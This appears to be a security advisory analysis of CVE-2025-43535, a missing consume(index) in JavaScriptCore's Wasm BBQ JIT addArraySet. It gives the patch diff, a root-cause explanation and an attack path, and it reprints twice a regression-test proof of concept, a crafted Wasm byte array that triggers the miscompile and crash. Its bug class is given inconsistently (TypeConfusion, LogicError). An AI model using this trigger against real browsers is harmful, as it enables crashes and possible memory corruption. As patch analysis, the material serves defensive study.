CVE-2025-43535
Overview
Impact:
Description: Processing maliciously crafted web content may lead to an unexpected process crash
Researchers: Google Big Sleep, Nan Wang (@eternalsakura13)
Key insight. BBQ-JIT addArraySet used the index operand but never consume()d its register, leaking a binding and corrupting the allocator’s register model; adding consume(index) fixes the miscompile.
Patch Details
diff --git a/JSTests/wasm/stress/bbq-array-set-consume.js b/JSTests/wasm/stress/bbq-array-set-consume.js
new file mode 100644
index 000000000000..28c082dca919
--- /dev/null
+++ b/JSTests/wasm/stress/bbq-array-set-consume.js
@@ -0,0 +1,13 @@
+ function sakura_main() {
+ var wasm_code = new Uint8Array([
+ 0,97,115,109,1,0,0,0,1,183,128,128,128,0,10,78,1,94,120,1,78,1,94,119,1,78,1,80,0,95,0,78,1,96,3,127,127,127,1,127,96,0,0,96,0,1,127,96,1,127,1,127,96,0,1,125,96,0,1,124,96,5,108,127,127,127,127,1,124,3,130,128,128,128,0,1,3,4,133,128,128,128,0,1,112,1,1,1,5,131,128,128,128,0,1,0,123,13,131,128,128,128,0,1,0,4,6,253,134,128,128,0,39,127,1,65,223,155,138,142,125,65,143,193,209,238,2,65,142,221,236,208,126,108,107,11,100,2,1,251,0,2,11,100,109,0,65,148,129,129,222,2,251,28,11,127,1,65,160,220,185,195,0,65,157,149,131,223,120,107,65,131,226,177,36,65,168,185,207,158,4,65,163,211,217,165,6,65,231,220,176,191,127,106,107,65,207,247,142,202,4,65,244,129,173,200,1,107,65,129,134,211,145,3,65,177,216,161,189,7,107,108,106,108,108,11,100,110,1,65,163,229,198,186,127,65,219,182,158,140,7,65,200,236,218,246,1,65,154,187,143,229,121,106,65,173,243,249,167,3,65,219,157,223,3,65,159,191,179,185,125,65,165,149,210,130,4,106,108,65,227,236,163,194,124,108,65,247,223,242,157,122,107,65,241,224,201,165,2,65,161,254,234,231,7,65,221,215,211,255,121,65,140,188,128,196,4,107,65,154,197,237,251,2,65,151,153,169,187,122,65,141,212,212,227,126,108,65,175,176,250,169,127,108,106,65,197,141,244,188,5,65,198,192,252,213,4,106,65,131,233,179,191,122,107,65,159,166,204,206,4,108,108,65,175,225,164,232,121,65,237,161,155,138,127,65,148,244,241,4,65,155,188,128,185,7,106,107,65,232,135,186,138,122,65,184,203,175,153,127,107,65,204,223,173,254,1,65,200,193,250,159,4,65,215,214,218,142,121,65,222,203,131,246,1,107,65,153,153,177,233,120,65,130,181,193,212,123,108,108,107,65,155,152,231,215,6,65,186,135,251,133,125,107,107,65,171,218,139,154,121,65,195,165,251,166,4,65,216,152,175,229,121,106,65,174,202,198,194,122,65,172,169,175,183,121,65,194,155,237,202,0,65,131,220,225,242,2,107,65,168,164,225,140,126,65,226,252,175,216,120,108,108,107,65,154,248,189,180,127,107,65,209,254,176,170,7,65,134,177,231,194,124,106,108,108,65,139,243,178,150,1,108,65,151,171,242,167,3,65,197,225,200,212,1,65,198,166,172,159,120,65,140,189,228,132,4,65,164,138,252,132,3,65,204,218,128,245,122,108,65,208,222,165,216,122,65,146,192,157,140,125,65,217,194,152,212,6,108,65,184,133,225,152,126,107,65,234,239,146,242,4,106,107,65,225,148,144,133,3,107,107,65,149,235,189,151,5,107,108,65,178,178,204,214,120,108,65,172,226,205,198,4,107,65,240,154,179,225,6,107,107,65,160,160,166,139,2,107,65,133,164,208,71,106,65,194,230,143,238,126,108,65,223,200,226,165,120,65,210,216,129,249,7,107,106,107,106,65,210,194,205,149,6,107,65,177,129,211,71,65,170,132,137,153,3,65,139,140,195,254,124,107,107,108,107,65,196,170,201,200,122,108,107,108,108,65,0,106,65,0,107,65,0,108,65,0,108,106,65,0,108,65,0,108,65,0,107,108,106,108,108,65,0,107,107,65,0,108,108,65,0,107,65,0,107,108,65,0,108,65,0,107,65,0,107,108,65,0,107,65,0,106,65,0,106,106,65,0,107,65,0,107,107,108,106,65,0,106,65,0,106,65,0,107,65,0,108,65,0,65,0,65,0,65,0,65,0,65,0,251,8,0,7,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,7,136,128,128,128,0,1,4,109,97,105,110,0,0,9,139,128,128,128,0,1,6,0,65,0,11,112,1,210,0,11,10,233,131,128,128,0,1,230,3,7,1,127,1,100,111,1,125,2,127,1,114,1,127,1,100,107,208,111,212,33,4,2,127,2,105,2,105,2,105,2,105,2,105,31,5,5,1,0,4,3,3,1,0,2,3,1,1,0,0,65,243,57,63,0,79,65,175,152,174,204,7,66,228,196,170,233,213,187,202,140,213,0,62,0,0,67,127,25,165,73,65,180,204,148,31,26,252,5,65,0,253,15,65,0,253,15,253,209,1,253,22,12,40,0,156,38,65,255,141,49,65,227,132,32,16,0,1,36,0,254,57,2,210,147,2,67,202,31,95,107,145,143,67,197,207,144,69,91,65,169,7,65,228,187,25,72,65,146,226,225,132,5,208,112,251,23,3,20,3,172,81,2,6,1,11,11,12,5,11,26,65,17,12,4,11,26,65,231,254,207,0,12,3,11,26,65,31,12,2,11,26,65,179,241,164,242,0,12,1,11,26,65,244,216,21,12,0,11,2,125,31,7,0,2,124,2,105,2,64,2,105,2,105,2,64,31,8,5,3,4,2,3,1,0,2,3,1,0,0,0,2,124,68,102,47,219,170,228,129,161,74,11,11,12,5,11,68,155,170,229,144,164,245,180,78,12,4,11,26,68,50,10,67,205,35,36,157,244,12,3,11,26,68,249,13,67,48,14,244,80,138,12,2,11,208,108,65,167,222,232,0,65,181,196,221,156,1,65,211,233,229,0,65,191,131,3,2,9,33,3,33,3,33,3,33,3,26,68,225,165,33,2,164,202,66,219,11,12,1,11,26,68,90,79,126,46,106,22,193,112,12,0,11,182,11,12,0,11,169,4,126,66,184,246,191,163,230,139,128,177,123,5,66,217,151,211,160,129,186,180,162,82,11,208,1,65,193,6,65,224,216,45,254,39,0,196,220,2,65,192,199,237,73,251,14,1,66,217,233,182,250,128,195,239,183,206,0,66,75,136,137,65,161,176,14,65,155,248,186,6,65,0,254,46,0,0,79,254,21,1,163,222,2,89,115,251,28,251,23,106,212,251,23,110,251,23,2,212,251,23,110,251,23,107,212,251,23,106,251,23,0,212,251,23,1,251,22,107,33,10,65,177,198,6,11
+ ]);
+ var wasm_module = new WebAssembly.Module(wasm_code);
+ var wasm_instance = new WebAssembly.Instance(wasm_module);
+ var f = wasm_instance.exports.main;
+ f();
+ }
+
+try {
+ sakura_main();
+} catch { }
diff --git a/Source/JavaScriptCore/wasm/WasmBBQJIT64.cpp b/Source/JavaScriptCore/wasm/WasmBBQJIT64.cpp
index 97fd2af1d36d..50ae0204cf0c 100644
--- a/Source/JavaScriptCore/wasm/WasmBBQJIT64.cpp
+++ b/Source/JavaScriptCore/wasm/WasmBBQJIT64.cpp
@@ -1837,6 +1837,7 @@ WARN_UNUSED_RETURN PartialResult BBQJIT::addArraySet(uint32_t typeIndex, TypedEx
ASSERT(arrayref.asI64() == JSValue::encode(jsNull()));
LOG_INSTRUCTION("ArraySet", typeIndex, arrayref, index, value);
+ consume(index);
consume(value);
emitThrowException(ExceptionType::NullAccess);
return { };
Background
Advisory: Apple Security Advisory
| Attribute | Value |
|---|---|
| CVE | CVE-2025-43535 |
| Bugzilla | 300774 |
| Component | JSC |
| Bug Class | TypeConfusion |
| Severity | medium |
| Commit | 26d50a4d4b2df76c… |
| Advisory | Apple Advisory |
Terminology
- BBQ JIT register model — Tracks which registers hold live operand values; every used operand must be consume()d to free its register.
- array.set — Wasm GC instruction storing a value at an index in a typed array; takes array, index, and value operands.
- consume() — Releases a value’s register binding after use; omitting it leaves the register wrongly marked occupied.
- Register pressure — When many values compete for few registers, a leaked binding leads to incorrect reuse/spills.
Root Cause Analysis
In JavaScriptCore’s Wasm BBQ JIT (64-bit), BBQJIT::addArraySet compiles the array.set instruction, which takes an array reference, an index, and a value. The BBQ register allocator requires every operand value’s register to be released with consume() once it has been used, so the allocator’s model of free/occupied registers stays accurate. Pre-patch, addArraySet failed to consume() the index value after using it, so the index’s register remained marked as bound to that value even though array.set had finished with it. Subsequent codegen could then reuse or spill that register under the wrong assumption, corrupting the register-allocation state — a JIT miscompilation. The fix adds the missing consume(index) so the index operand’s register is released like the array and value operands, keeping the allocator consistent. The crafted wasm module in the test drives array.set with register pressure that exposes the leaked binding. The restored invariant is that all operands of array.set are consumed, so the BBQ allocator’s register model matches the emitted code.
Attack Path
1. Craft a wasm module using array.set
Build a module (GC arrays) whose function performs array.set under register pressure so the index operand’s register matters.
2. Compile via BBQ JIT
Instantiation compiles addArraySet, which uses the index but does not consume its register binding.
3. Corrupt allocator state
The index’s register stays wrongly bound, so later codegen reuses/spills it inconsistently.
4. Miscompile / crash
The mismatched register state produces incorrect code, crashing or corrupting memory in the WebContent process.
Impact Assessment
A BBQ-JIT register-accounting bug (advisory class LogicError): a missing consume() on the array.set index leaks a register binding and miscompiles code, reachable from crafted wasm in the WebContent process. JIT miscompiles are a corruption-class primitive; building a controlled outcome needs register shaping, and the observable is a crash. Confined to WebContent; rated medium.
Audit Directions
Missing consume() on operands
Audit all BBQ addX handlers (array/struct/table/memory ops) to confirm every operand fetched is consume()d exactly once.
array/struct GC ops
Review other GC instruction handlers (arrayGet/arrayNew/structSet) for the same operand-consume completeness.
32-bit vs 64-bit parity
Check WasmBBQJIT.cpp/WasmBBQJIT32 for the same array.set consume symmetry as WasmBBQJIT64.
Changed Functions
| Function | File | Change | Note |
|---|---|---|---|
BBQJIT::addArraySet |
Source/JavaScriptCore/wasm/WasmBBQJIT64.cpp |
modified | Adds the missing consume(index) so the array.set index operand’s register is released, keeping the BBQ register allocator consistent. |
Files Changed
Source Files
Source/JavaScriptCore/wasm/WasmBBQJIT64.cpp
Test Files
JSTests/wasm/stress/bbq-array-set-consume.js
Regression Test
The fix ships this proof-of-concept / regression test:
diff --git a/JSTests/wasm/stress/bbq-array-set-consume.js b/JSTests/wasm/stress/bbq-array-set-consume.js
new file mode 100644
index 000000000000..28c082dca919
--- /dev/null
+++ b/JSTests/wasm/stress/bbq-array-set-consume.js
@@ -0,0 +1,13 @@
+ function sakura_main() {
+ var wasm_code = new Uint8Array([
+ 0,97,115,109,1,0,0,0,1,183,128,128,128,0,10,78,1,94,120,1,78,1,94,119,1,78,1,80,0,95,0,78,1,96,3,127,127,127,1,127,96,0,0,96,0,1,127,96,1,127,1,127,96,0,1,125,96,0,1,124,96,5,108,127,127,127,127,1,124,3,130,128,128,128,0,1,3,4,133,128,128,128,0,1,112,1,1,1,5,131,128,128,128,0,1,0,123,13,131,128,128,128,0,1,0,4,6,253,134,128,128,0,39,127,1,65,223,155,138,142,125,65,143,193,209,238,2,65,142,221,236,208,126,108,107,11,100,2,1,251,0,2,11,100,109,0,65,148,129,129,222,2,251,28,11,127,1,65,160,220,185,195,0,65,157,149,131,223,120,107,65,131,226,177,36,65,168,185,207,158,4,65,163,211,217,165,6,65,231,220,176,191,127,106,107,65,207,247,142,202,4,65,244,129,173,200,1,107,65,129,134,211,145,3,65,177,216,161,189,7,107,108,106,108,108,11,100,110,1,65,163,229,198,186,127,65,219,182,158,140,7,65,200,236,218,246,1,65,154,187,143,229,121,106,65,173,243,249,167,3,65,219,157,223,3,65,159,191,179,185,125,65,165,149,210,130,4,106,108,65,227,236,163,194,124,108,65,247,223,242,157,122,107,65,241,224,201,165,2,65,161,254,234,231,7,65,221,215,211,255,121,65,140,188,128,196,4,107,65,154,197,237,251,2,65,151,153,169,187,122,65,141,212,212,227,126,108,65,175,176,250,169,127,108,106,65,197,141,244,188,5,65,198,192,252,213,4,106,65,131,233,179,191,122,107,65,159,166,204,206,4,108,108,65,175,225,164,232,121,65,237,161,155,138,127,65,148,244,241,4,65,155,188,128,185,7,106,107,65,232,135,186,138,122,65,184,203,175,153,127,107,65,204,223,173,254,1,65,200,193,250,159,4,65,215,214,218,142,121,65,222,203,131,246,1,107,65,153,153,177,233,120,65,130,181,193,212,123,108,108,107,65,155,152,231,215,6,65,186,135,251,133,125,107,107,65,171,218,139,154,121,65,195,165,251,166,4,65,216,152,175,229,121,106,65,174,202,198,194,122,65,172,169,175,183,121,65,194,155,237,202,0,65,131,220,225,242,2,107,65,168,164,225,140,126,65,226,252,175,216,120,108,108,107,65,154,248,189,180,127,107,65,209,254,176,170,7,65,134,177,231,194,124,106,108,108,65,139,243,178,150,1,108,65,151,171,242,167,3,65,197,225,200,212,1,65,198,166,172,159,120,65,140,189,228,132,4,65,164,138,252,132,3,65,204,218,128,245,122,108,65,208,222,165,216,122,65,146,192,157,140,125,65,217,194,152,212,6,108,65,184,133,225,152,126,107,65,234,239,146,242,4,106,107,65,225,148,144,133,3,107,107,65,149,235,189,151,5,107,108,65,178,178,204,214,120,108,65,172,226,205,198,4,107,65,240,154,179,225,6,107,107,65,160,160,166,139,2,107,65,133,164,208,71,106,65,194,230,143,238,126,108,65,223,200,226,165,120,65,210,216,129,249,7,107,106,107,106,65,210,194,205,149,6,107,65,177,129,211,71,65,170,132,137,153,3,65,139,140,195,254,124,107,107,108,107,65,196,170,201,200,122,108,107,108,108,65,0,106,65,0,107,65,0,108,65,0,108,106,65,0,108,65,0,108,65,0,107,108,106,108,108,65,0,107,107,65,0,108,108,65,0,107,65,0,107,108,65,0,108,65,0,107,65,0,107,108,65,0,107,65,0,106,65,0,106,106,65,0,107,65,0,107,107,108,106,65,0,106,65,0,106,65,0,107,65,0,108,65,0,65,0,65,0,65,0,65,0,65,0,251,8,0,7,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,7,136,128,128,128,0,1,4,109,97,105,110,0,0,9,139,128,128,128,0,1,6,0,65,0,11,112,1,210,0,11,10,233,131,128,128,0,1,230,3,7,1,127,1,100,111,1,125,2,127,1,114,1,127,1,100,107,208,111,212,33,4,2,127,2,105,2,105,2,105,2,105,2,105,31,5,5,1,0,4,3,3,1,0,2,3,1,1,0,0,65,243,57,63,0,79,65,175,152,174,204,7,66,228,196,170,233,213,187,202,140,213,0,62,0,0,67,127,25,165,73,65,180,204,148,31,26,252,5,65,0,253,15,65,0,253,15,253,209,1,253,22,12,40,0,156,38,65,255,141,49,65,227,132,32,16,0,1,36,0,254,57,2,210,147,2,67,202,31,95,107,145,143,67,197,207,144,69,91,65,169,7,65,228,187,25,72,65,146,226,225,132,5,208,112,251,23,3,20,3,172,81,2,6,1,11,11,12,5,11,26,65,17,12,4,11,26,65,231,254,207,0,12,3,11,26,65,31,12,2,11,26,65,179,241,164,242,0,12,1,11,26,65,244,216,21,12,0,11,2,125,31,7,0,2,124,2,105,2,64,2,105,2,105,2,64,31,8,5,3,4,2,3,1,0,2,3,1,0,0,0,2,124,68,102,47,219,170,228,129,161,74,11,11,12,5,11,68,155,170,229,144,164,245,180,78,12,4,11,26,68,50,10,67,205,35,36,157,244,12,3,11,26,68,249,13,67,48,14,244,80,138,12,2,11,208,108,65,167,222,232,0,65,181,196,221,156,1,65,211,233,229,0,65,191,131,3,2,9,33,3,33,3,33,3,33,3,26,68,225,165,33,2,164,202,66,219,11,12,1,11,26,68,90,79,126,46,106,22,193,112,12,0,11,182,11,12,0,11,169,4,126,66,184,246,191,163,230,139,128,177,123,5,66,217,151,211,160,129,186,180,162,82,11,208,1,65,193,6,65,224,216,45,254,39,0,196,220,2,65,192,199,237,73,251,14,1,66,217,233,182,250,128,195,239,183,206,0,66,75,136,137,65,161,176,14,65,155,248,186,6,65,0,254,46,0,0,79,254,21,1,163,222,2,89,115,251,28,251,23,106,212,251,23,110,251,23,2,212,251,23,110,251,23,107,212,251,23,106,251,23,0,212,251,23,1,251,22,107,33,10,65,177,198,6,11
+ ]);
+ var wasm_module = new WebAssembly.Module(wasm_code);
+ var wasm_instance = new WebAssembly.Instance(wasm_module);
+ var f = wasm_instance.exports.main;
+ f();
+ }
+
+try {
+ sakura_main();
+} catch { }